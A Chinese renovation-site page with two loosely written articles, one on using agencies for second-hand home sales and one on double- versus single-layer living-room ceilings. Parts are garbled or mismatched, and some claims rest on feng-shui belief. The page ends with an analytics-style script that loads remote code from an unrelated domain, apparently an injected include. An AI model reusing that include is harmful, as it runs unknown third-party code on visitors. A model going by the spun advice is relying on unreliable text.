长沙旧房装修的交易中介靠谱吗

旧房交易是一个较为复杂的过程，且专业性较强，市民请长沙旧房装修的中介代理省时、省心、省力，所以中介机构是促使旧房交易成功的主力军，其力量不可抵估。所谓旧房市场就是二手房的买卖，俗称房地产三级市场。目前市场上的二手房房源品种较多，一般包括不可售公有住房(即非成套独用)、可售公房(成套独用的按规定可出售的)、已售公房(按房改政策已买下的)和二手商品房，由于这些旧房的权属不同，所以买卖的程序也不同。近年来，政府已出台了一系列规范房地产三级市场的政策，对于启动三级市场来带动二级市场的商品房销售起到了积极的推动作用。有关行家认为，委托房产中介机构代理旧房买卖业务，至少有以下几个方面的好处：一是房源信息多。现在市民要置换房子，第一步就是将旧房定个心理价位，到房产中介公司挂牌上市，探索市场的反映。由于挂牌上市不收费用，时间一长就使中介公司积累了众多的房源信息。据了解，有一定规模的房产中介公司，房源信息均在5000条左右，从而为市民置换房屋提供了广阔的选择空间。二是办妥手续快。据介绍，可售公房属于可出售的使用权房，按规定，若上市应采取“两步并一步”的做法，即先将其按有关房改政策买下变成售后公房再上市出售，期间需要签订一系列的购房合同，出售合同，要交纳土地收益金，交易手续费及综合税，还要到物业公司办理进退户手续等等，手续十分繁琐，个人到交易中心办手续需25个工作日甚至更长时间，而委托中介机构办理，少则二、三天，多则一星期便可办妥。三是资金到手快。如果你急于置换房子，而一时又找不到“下家”，那就可以请中介机构收购旧房，并直接将资金投入新购商品房中。至于收购的价格问题，众所周知。现在房市处于低迷阶段，房价相对较便宜，这是指商品房市场，当然也包括旧房市场，既想廉价买进商品房，又想高价出售旧房子，这显然是不现实的。所以对旧房房价，市民应正视市场，保持平静的心态，期望值不能太高。除此以外，为了进一步提高市民购买旧房的能力，金融界正逐步推出二手房担保贷款、低押贷款和公积金贷款的业务，这样旧房交易的环节可能还会增加，但有了中介机构的参与，便能省去当事人的许多时间和精力，这不失为市民置换房屋的一条捷径。好了，今天就说到这里了。希望这篇关于旧房装修小文章能够对大家有所帮助哦。想了解更多新鲜可口的独家资讯，只在长沙装修网哦。

有经验的朋友，一起说说客厅双层吊顶好还是单层好

很多朋友在装修新房的时候总会有很多拿不定主意的想法与设计理念，比如客厅吊顶，有的人喜欢客厅双层吊顶，有的人喜欢客厅单层吊顶。其实，选择客厅双层吊顶在房间装修效果上，还是比较不错的，那么就一起来看下关于客厅双层吊顶的功能与好处吧。 客厅双层吊顶基本功能： 一位有经验的设计师朋友说客厅吊顶装修最好是选择客厅双层吊顶，其实，这取决于自己的想法和房间的空间结构。如果天花板位置在2.9米以上，那么在客厅吊顶款式上，你可以做客厅双层吊顶，不仅美观，而且添加一些三维空间，让我们感受到空间的宽敞，如果它小于2.8米，那么选择单层天花板，而不适合选择双层天花板，BEC因为单层不会产生压力。装修房屋时，为了使房屋看起来更漂亮，吊顶工程已经是装修前的必要工程。但是现在起居室里有一个双层天花板——我不知道你对起居室的双层天花板了解多少？让我们来看看客厅的双层天花板的功能和类型。客厅双层吊顶的材质选择： 吊顶在整个卧室的装饰中占有非常重要的位置。它不仅可以美化室内环境，还可以创造出丰富多彩的室内空间艺术形象。在选择吊顶装饰材料和设计方案时，应遵循节约材料、坚固、安全、美观、实用的原则。 客厅双层吊顶不仅在整个房间起到装饰作用，而且对居室布局也有一定的影响。传统文化认为天花板是天空的象征，而设计合理的起居室双层天花板可以使家庭幸福、身心健康。 以上就是关于装修新房时客厅吊顶款式的介绍，希望对你会有所帮助哦。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();